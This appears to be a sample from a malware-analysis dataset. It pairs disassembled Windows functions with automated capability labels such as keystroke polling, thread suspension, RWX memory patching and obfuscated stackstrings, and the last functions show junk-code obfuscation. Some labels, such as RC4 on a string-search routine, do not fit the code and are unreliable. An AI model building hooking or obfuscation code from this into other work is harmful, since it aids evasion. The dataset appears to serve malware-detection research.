joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003cbe0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
mov esi, edx
mov edx, dword [0x1012e1cc]
mov dword [ebp - 0xc], edx
push edi
mov edi, ecx
test esi, esi
jne 0x1003cc09
mov esi, edi
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x1003cc00
sub esi, ecx
test edx, edx
je 0x1003cc13
inc dword [edx + 0x374]
push ebx
push dword [0x1012e1c8]
lea eax, [esi + 1]
push eax
call fcn.1002cc30
push esi
push edi
push eax
lea ebx, [eax + esi]
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], ebx
call fcn.10062ee0
mov esi, dword [ebp - 0x10]
xor edx, edx
add esp, 0x14
mov byte [ebx], 0
xor edi, edi
mov dword [ebp - 4], edx
mov ecx, esi
cmp esi, ebx
jae 0x1003cdac
nop
mov al, byte [ecx]
cmp al, 0xa
je 0x1003cddf
cmp al, 0xd
je 0x1003cddf
mov esi, ecx
cmp ecx, ebx
jae 0x1003cc77
mov al, byte [esi]
cmp al, 0xa
je 0x1003cc77
cmp al, 0xd
je 0x1003cc77
inc esi
cmp esi, ebx
jb 0x1003cc68
mov byte [esi], 0
mov al, byte [ecx]
cmp al, 0x3b
je 0x1003cd9e
cmp al, 0x5b
jne 0x1003cd7d
cmp esi, ecx
jbe 0x1003cd7d
cmp byte [esi - 1], 0x5d
lea ebx, [esi - 1]
jne 0x1003cd7a
inc ecx
mov byte [ebx], 0
mov eax, ebx
mov dword [ebp - 0x18], ecx
sub eax, ecx
push eax
push 0x5d
push ecx
call fcn.10063d00
add esp, 0xc
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1003cd98
lea ecx, [eax + 1]
sub ebx, ecx
push ebx
push 0x5b
push ecx
call fcn.10063d00
mov ecx, eax
add esp, 0xc
test ecx, ecx
je 0x1003cd98
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
mov ebx, dword [0x1012e1cc]
mov byte [eax], 0
lea eax, [ecx + 1]
mov cl, byte [edi]
inc edi
mov dword [ebp - 0x14], eax
or eax, 0xffffffff
test cl, cl
je 0x1003cd2e
or ebx, 0xffffffff
cmp cl, 0x23
jne 0x1003cd0f
cmp byte [edi], cl
jne 0x1003cd0f
cmp byte [edi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [edi]
inc edi
xor eax, dword [edx*4 + 0x100e3350]
test cl, cl
jne 0x1003cd00
mov ebx, dword [0x1012e1cc]
mov edi, dword [ebx + 0x2d40]
xor ecx, ecx
not eax
test edi, edi
jle 0x1003cd51
mov ebx, dword [ebx + 0x2d48]
lea edx, [ebx + 4]
cmp dword [edx], eax
je 0x1003cd5a
inc ecx
add edx, 0x18
cmp ecx, edi
jl 0x1003cd45
xor edi, edi
xor edx, edx
mov dword [ebp - 4], edx
jmp 0x1003cd9b
lea eax, [ecx + ecx*2]
lea edi, [ebx + eax*8]
test edi, edi
je 0x1003cd53
push dword [ebp - 0x14]
mov eax, dword [edi + 8]
push edi
push dword [ebp - 0xc]
call eax
mov edx, eax
add esp, 0xc
mov dword [ebp - 4], edx
jmp 0x1003cd9b
mov ebx, dword [ebp - 8]
test edi, edi
je 0x1003cd9e
test edx, edx
je 0x1003cd9e
mov eax, dword [edi + 0xc]
push ecx
push edx
push edi
push dword [ebp - 0xc]
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
jmp 0x1003cd9e
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 8]
lea ecx, [esi + 1]
cmp ecx, ebx
jb 0x1003cc50
mov esi, dword [ebp - 0x10]
pop ebx
test esi, esi
je 0x1003cdc0
mov eax, dword [0x1012e1cc]
test eax, eax
je 0x1003cdc0
dec dword [eax + 0x374]
push dword [0x1012e1c8]
push esi
call fcn.1002cc40
mov eax, dword [ebp - 0xc]
add esp, 8
pop edi
mov byte [eax + 0x2d2c], 1
pop esi
mov esp, ebp
pop ebp
ret
inc ecx
jmp 0x1003cc50
Function at 0x1003cdf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [0x1012e1cc]
mov eax, ecx
mov dword [ebp - 8], eax
push edi
mov dword [esi + 0x2d30], 0
test eax, eax
je 0x1003cee6
lea edi, [esi + 0x2d34]
mov dword [esi + 0x2d30], 0
mov ecx, dword [edi + 4]
test ecx, ecx
jns 0x1003ce45
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, edi
call fcn.1003ddf0
xor ecx, ecx
mov dword [edi], 0
cmp dword [edi + 4], ecx
jne 0x1003ce5d
push 8
mov ecx, edi
call fcn.1003ddf0
mov ecx, dword [edi]
mov eax, dword [edi + 8]
mov dword [ebp - 4], 0
mov byte [ecx + eax], 0
inc dword [edi]
cmp dword [esi + 0x2d40], 0
mov ebx, dword [edi]
jle 0x1003cea7
xor ebx, ebx
nop word [eax + eax]
mov eax, dword [esi + 0x2d48]
add eax, ebx
push edi
push eax
push esi
mov eax, dword [eax + 0x10]
call eax
mov eax, dword [ebp - 4]
add esp, 0xc
inc eax
add ebx, 0x18
mov dword [ebp - 4], eax
cmp eax, dword [esi + 0x2d40]
jl 0x1003ce80
mov ebx, dword [edi]
mov ecx, dword [ebp - 8]
lea eax, [ebx - 1]
neg ebx
mov edi, 0x1012e1c1
mov edx, 0x100e81ac
sbb ebx, ebx
and ebx, eax
mov eax, dword [esi + 0x2d3c]
test eax, eax
cmovne edi, eax
call fcn.1002d210
mov esi, eax
test esi, esi
je 0x1003cee6
push esi
push ebx
push 1
push edi
call fcn.10075e50
push esi
call fcn.10074ec0
add esp, 0x14
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1004c560
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x10129014]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
mov ebx, dword [0x1012e1cc]
lea eax, [esp + 0x10]
push esi
push edi
push eax
push dword [0x1012e348]
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x20]
sub eax, dword [esp + 0x18]
movd xmm1, eax
mov eax, dword [esp + 0x24]
sub eax, dword [esp + 0x1c]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
lea eax, [esp + 0x30]
cvtdq2ps xmm0, xmm0
push eax
movss dword [ebx + 0x10], xmm1
movss dword [ebx + 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edi, dword [esp + 0x30]
mov ecx, edi
sub ecx, dword [0x1012e350]
mov esi, dword [esp + 0x34]
mov edx, esi
sbb edx, dword [0x1012e354]
call fcn.100b4c20
mov edx, dword [0x1012e35c]
mov ecx, dword [0x1012e358]
cvtsd2ss xmm0, xmm0
movss dword [esp + 0x28], xmm0
call fcn.100b4c20
movss xmm1, dword [esp + 0x28]
cvtsd2ss xmm0, xmm0
push 0x11
divss xmm1, xmm0
movss dword [ebx + 0x18], xmm1
mov dword [0x1012e354], esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
mov dword [0x1012e350], edi
call esi
shr eax, 0xf
and al, 1
push 0x10
mov byte [ebx + 0x100], al
call esi
shr eax, 0xf
and al, 1
push 0x12
mov byte [ebx + 0x101], al
call esi
mov esi, dword [0x1012e1cc]
shr eax, 0xf
and al, 1
mov byte [ebx + 0x103], 0
mov byte [ebx + 0x102], al
cmp byte [esi + 0x35b], 0
je 0x1004c698
cvttss2si eax, dword [esi + 0xe8]
mov dword [esp + 0x28], eax
cvttss2si eax, dword [esi + 0xec]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x28]
push eax
push dword [0x1012e348]
call dword [sym.imp.USER32.dll_ClientToScreen]
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call dword [sym.imp.USER32.dll_SetCursorPos]
mov dword [esi + 0xe8], 0xff7fffff
mov dword [esi + 0xec], 0xff7fffff
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x1004c712
mov ecx, dword [0x1012e348]
cmp eax, ecx
je 0x1004c6cc
push ecx
push eax
call dword [sym.imp.USER32.dll_IsChild]
test eax, eax
je 0x1004c712
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x1004c712
lea eax, [esp + 0x10]
push eax
push dword [0x1012e348]
call dword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x1004c712
movd xmm0, dword [esp + 0x10]
movd xmm1, dword [esp + 0x14]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [esi + 0xe8], xmm0
movss dword [esi + 0xec], xmm1
cmp byte [ebx + 0xb0], 0
je 0x1004c720
or eax, 0xffffffff
jmp 0x1004c72b
mov eax, dword [0x1012e1cc]
mov eax, dword [eax + 0x1d30]
cmp dword [0x10129d48], eax
je 0x1004c73d
mov dword [0x10129d48], eax
call fcn.1004c1b0
call fcn.1004c2e0
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1005db50
mov esp, ebp
pop ebp
ret
Function at 0x10056c70
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10129014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x24], edx
push edi
push 0
push 4
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x10056d6a
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x10056d63
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x20], 0x10
jb 0x10056d49
call ebx
cmp dword [ebp - 0x14], eax
jne 0x10056d49
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x10056d49
mov edx, dword [esi]
test edx, edx
jne 0x10056d12
push 0x200
push edx
push dword [0x1012e1d4]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x10056d63
jmp 0x10056d3d
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x10056d3d
shl eax, 3
push eax
push edx
push 0
push dword [0x1012e1d4]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x10056d63
mov eax, dword [esi + 4]
add eax, eax
mov dword [esi], edx
mov dword [esi + 4], eax
mov ecx, dword [esi + 8]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10056cd1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi], 0
je 0x10056daf
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x10056daf
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10056da9
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 0x24]
mov ecx, ebx
call fcn.10056b00
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x10056d76
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005db50
mov esp, ebp
pop ebp
ret
Function at 0x10056dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x10129014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
imul esi, ecx, 0x2c
mov ebx, edx
push edi
add esi, dword [0x1012e4a0]
mov eax, dword [esi]
mov cl, byte [esi + 0x14]
and cl, 1
lea edi, [eax - 5]
cmove edi, eax
movzx eax, cl
lea ecx, [ebp - 8]
push ecx
push 0x40
lea eax, [eax*2 + 5]
push eax
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10056e21
pop edi
pop esi
mov eax, 0xa
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005db50
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x10056e42
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x10056e63
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x10056e63
mov eax, dword [esi + 0xc]
test byte [esi + 0x14], 1
mov dword [edi], eax
je 0x10056e5d
mov ax, word [esi + 0x10]
mov word [edi + 4], ax
mov al, byte [esi + 0x12]
mov byte [edi + 6], al
jmp 0x10056e63
mov al, byte [esi + 0x10]
mov byte [edi + 4], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, byte [esi + 0x14]
and bl, 1
mov cl, bl
and al, 0xfd
add cl, cl
shl bl, 2
or cl, al
xor eax, eax
and cl, 0xfb
or cl, bl
mov byte [esi + 0x14], cl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005db50
mov esp, ebp
pop ebp
ret
Function at 0x10056ec0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, dword [0x1012e4a8]
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 4], edi
mov ebx, ecx
test edx, edx
je 0x10056fb1
mov eax, dword [0x1012e4a0]
add eax, 0x14
movzx ecx, byte [eax]
shr ecx, 1
and ecx, 1
cmp ecx, ebx
jne 0x10056f05
inc esi
add eax, 0x2c
cmp esi, edx
jb 0x10056ee8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x10056fb1
xor eax, eax
lea ecx, [ebp - 0x10]
test ebx, ebx
setne al
or edx, 0xffffffff
push eax
call fcn.10056c70
mov ecx, dword [0x1012e4a8]
add esp, 4
cmp esi, ecx
jae 0x10056f65
imul edi, esi, 0x2c
mov eax, dword [0x1012e4a0]
movzx eax, byte [edi + eax + 0x14]
shr eax, 1
and eax, 1
cmp eax, ebx
je 0x10056f5a
mov edx, ebx
mov ecx, esi
call fcn.10056dc0
mov dword [ebp - 4], eax
test eax, eax
jne 0x10056f62
mov ecx, dword [0x1012e4a8]
inc esi
add edi, 0x2c
cmp esi, ecx
jb 0x10056f31
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x10056fb1
xor esi, esi
cmp dword [ebp - 8], esi
jbe 0x10056fa2
mov edi, eax
push dword [edi + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10056f96
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 8]
jb 0x10056f75
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push eax
push 0
push dword [0x1012e1d4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10057390
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov ebx, ecx
xor esi, esi
push edi
mov edi, edx
mov dword [ebp - 4], ebx
mov edx, 1
mov ecx, 0x1012e1d0
xor eax, eax
lock cmpxchg dword [ecx], edx
test eax, eax
je 0x100573e5
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
cmp esi, 0x20
jae 0x100573c9
push 0
jmp 0x100573cb
push 1
call ebx
inc esi
mov ecx, 1
xor eax, eax
mov edx, 0x1012e1d0
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x100573c0
mov ebx, dword [ebp - 4]
cmp dword [0x1012e1d4], 0
je 0x100574b8
test ebx, ebx
jne 0x10057404
mov ecx, edi
call fcn.10056ec0
mov edi, eax
jmp 0x100574bd
mov ecx, dword [0x1012e4a8]
xor esi, esi
test ecx, ecx
je 0x10057424
mov edx, dword [0x1012e4a0]
mov eax, edx
cmp ebx, dword [eax]
je 0x1005742e
inc esi
add eax, 0x2c
cmp esi, ecx
jb 0x10057418
mov edi, 4
jmp 0x100574bd
cmp esi, 0xffffffff
je 0x10057424
imul eax, esi, 0x2c
movzx eax, byte [eax + edx + 0x14]
shr eax, 1
and eax, 1
cmp eax, edi
je 0x100574af
push 1
mov edx, esi
lea ecx, [ebp - 0x10]
call fcn.10056c70
add esp, 4
mov edx, edi
mov ecx, esi
call fcn.10056dc0
mov edi, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], edi
test eax, eax
je 0x100574bd
xor esi, esi
cmp dword [ebp - 8], esi
jbe 0x1005749e
mov edi, eax
push dword [edi + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10057492
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 8]
jb 0x10057471
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push eax
push 0
push dword [0x1012e1d4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x100574bd
neg edi
sbb edi, edi
add edi, 6
jmp 0x100574bd
mov edi, 2
xor eax, eax
mov ecx, 0x1012e1d0
xchg dword [ecx], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10072540
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.10072160
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10072572
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x100bb778]
call dword [ebp - 8]
jmp 0x1007257c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret

Function at 0x100a35e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp 0x100b4620
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x1012cfcc], 1
jge 0x100b468f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
je 0x100b4665
mov edx, dword [ebx + 8]
movzx eax, word [edx]
movzx ecx, word [ebx + 0xc]
cmp eax, ecx
je 0x100b4665
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x100b4642
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x100b467b
mov eax, dword [ebx + 8]
mov dword [ebp - 4], eax
jmp 0x100b4682
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x100b477f
movzx ecx, word [ebx + 0xc]
movd xmm0, ecx
movaps xmmword [ebp - 0x30], xmm0
pshuflw xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
pshufd xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebx + 8]
and edx, 0xfff
cmp edx, 0xff0
ja 0x100b4750
mov eax, dword [ebx + 8]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pxor xmm0, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pcmpeqw xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x40]
pcmpeqw xmm0, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
por xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pmovmskb ecx, xmm0
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x100b4745
bsf edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 8]
mov dword [ebx + 8], eax
mov ecx, dword [ebx + 8]
movzx edx, word [ecx]
movzx eax, word [ebx + 0xc]
cmp edx, eax
jne 0x100b4739
mov ecx, dword [ebx + 8]
mov dword [ebp - 0xc], ecx
jmp 0x100b4740
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
jmp 0x100b477f
mov edx, dword [ebx + 8]
add edx, 0x10
mov dword [ebx + 8], edx
jmp 0x100b477a
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x100b4763
mov eax, dword [ebx + 8]
jmp 0x100b477f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x100b4771
xor eax, eax
jmp 0x100b477f
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x100b46af
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4125ce
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ecx
push ecx
push edi
add esp, 4
jmp 0x4125dc
xor ecx, 0x2a35
xor ecx, 0xceec
and ecx, 0x13a96
pop ecx
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0x2d4], eax
jmp 0x412665
Function at 0x413a76
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push esi
push ecx
add esp, 4
add esi, 0x62d9
call 0x4139e9
add byte [ebp + 0x4c], cl
dec edx
inc edx
inc edi
inc ecx
xor eax, dword [ebp - 0x7d]
les eax, [esi + ebx*2]
push ebx
and ebx, 0x8df8
xor ebx, 0xaa30
jmp 0x4139ff
pop ebx
mov ecx, dword [ebp - 0xcc0]
mov dx, word [ecx]
mov word [ebp - 0x1042], dx
mov eax, dword [ebp - 0xcc0]
add eax, 2
mov dword [ebp - 0xcc0], eax
mov cx, word [ebp - 0x1042]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc4]
mov ax, word [edx]
mov word [ebp - 0x1044], ax
mov ecx, dword [ebp - 0xcc4]
add ecx, 2
mov dword [ebp - 0xcc4], ecx
mov dx, word [ebp - 0x1044]
mov word [ebp - 0x38], dx
push edi
jmp 0x413a61
pop edi
push esi
push esi
add esp, 4
call fcn.00413a76
add byte [0x4950374d], dh
xor esi, dword [0xc4834746]
add esp, 4
jmp 0x413a82
inc esp
cmp dword [ebp + 0x48], ecx
push eax
inc ebp
aas
add esp, 4
jmp 0x413a82
and esi, 0x19a2
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x413aa6
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1624], ecx
jmp 0x413b00
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4139ce
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4139ce
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x413aea
mov dword [ebp - 0x1620], 0xffffffff
jmp 0x413af4
mov dword [ebp - 0x1620], 1
mov eax, dword [ebp - 0x1620]
mov dword [ebp - 0x1624], eax
cmp dword [ebp - 0x1624], 0
jne 0x413b49
push edi
push ecx
add esp, 4
add edi, 0x1676a
or edi, 0x5ee9
pop edi
push eax
xor eax, 0x61cf
xor eax, 0x1381f
pop eax
push ecx
push esi
add esp, 4
and ecx, 0x8e4
xor ecx, 0x85a5
pop ecx
mov ecx, dword [ebp - 0x518]
mov dword [ebp - 0x2f4], ecx
jmp 0x413bb1
push edi
call 0x413b56
add byte [edi], dh
inc esi
xor ecx, dword [esi + 0x3d]
aas
add esp, 4
xor edi, 0x43cd
pop edi
push ebx
push edx
add esp, 4
sub ebx, 0x13f07
jmp 0x413b74
add ebx, 0xadf3
pop ebx
mov edx, dword [ebp - 0x518]
mov eax, dword [edx]
mov dword [ebp - 0x518], eax
mov ecx, dword [ebp - 0x518]
cmp ecx, dword [ebp - 0xcc8]
je 0x413ba7
mov edx, dword [ebp - 0x518]
cmp dword [edx + 0x30], 0
jne 0x413972
mov dword [ebp - 0x2f4], 0
Function at 0x413b56
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push esi
push ecx
add esp, 4
add esi, 0x62d9
call 0x4139e9
add byte [ebp + 0x4c], cl
dec edx
inc edx
inc edi
inc ecx
xor eax, dword [ebp - 0x7d]
les eax, [esi + ebx*2]
push ebx
and ebx, 0x8df8
xor ebx, 0xaa30
jmp 0x4139ff
pop ebx
mov ecx, dword [ebp - 0xcc0]
mov dx, word [ecx]
mov word [ebp - 0x1042], dx
mov eax, dword [ebp - 0xcc0]
add eax, 2
mov dword [ebp - 0xcc0], eax
mov cx, word [ebp - 0x1042]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc4]
mov ax, word [edx]
mov word [ebp - 0x1044], ax
mov ecx, dword [ebp - 0xcc4]
add ecx, 2
mov dword [ebp - 0xcc4], ecx
mov dx, word [ebp - 0x1044]
mov word [ebp - 0x38], dx
push edi
jmp 0x413a61
pop edi
push esi
push esi
add esp, 4
call fcn.00413a76
add byte [0x4950374d], dh
xor esi, dword [0xc4834746]
add esp, 4
jmp 0x413a82
inc esp
cmp dword [ebp + 0x48], ecx
push eax
inc ebp
aas
add esp, 4
jmp 0x413a82
and esi, 0x19a2
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x413aa6
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1624], ecx
jmp 0x413b00
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4139ce
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4139ce
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x413aea
mov dword [ebp - 0x1620], 0xffffffff
jmp 0x413af4
mov dword [ebp - 0x1620], 1
mov eax, dword [ebp - 0x1620]
mov dword [ebp - 0x1624], eax
cmp dword [ebp - 0x1624], 0
jne 0x413b49
push edi
push ecx
add esp, 4
add edi, 0x1676a
or edi, 0x5ee9
pop edi
push eax
xor eax, 0x61cf
xor eax, 0x1381f
pop eax
push ecx
push esi
add esp, 4
and ecx, 0x8e4
xor ecx, 0x85a5
pop ecx
mov ecx, dword [ebp - 0x518]
mov dword [ebp - 0x2f4], ecx
jmp 0x413bb1
push edi
call 0x413b56
add byte [edi], dh
inc esi
xor ecx, dword [esi + 0x3d]
aas
add esp, 4
xor edi, 0x43cd
pop edi
push ebx
push edx
add esp, 4
sub ebx, 0x13f07
jmp 0x413b74
add ebx, 0xadf3
pop ebx
mov edx, dword [ebp - 0x518]
mov eax, dword [edx]
mov dword [ebp - 0x518], eax
mov ecx, dword [ebp - 0x518]
cmp ecx, dword [ebp - 0xcc8]
je 0x413ba7
mov edx, dword [ebp - 0x518]
cmp dword [edx + 0x30], 0
jne 0x413972
mov dword [ebp - 0x2f4], 0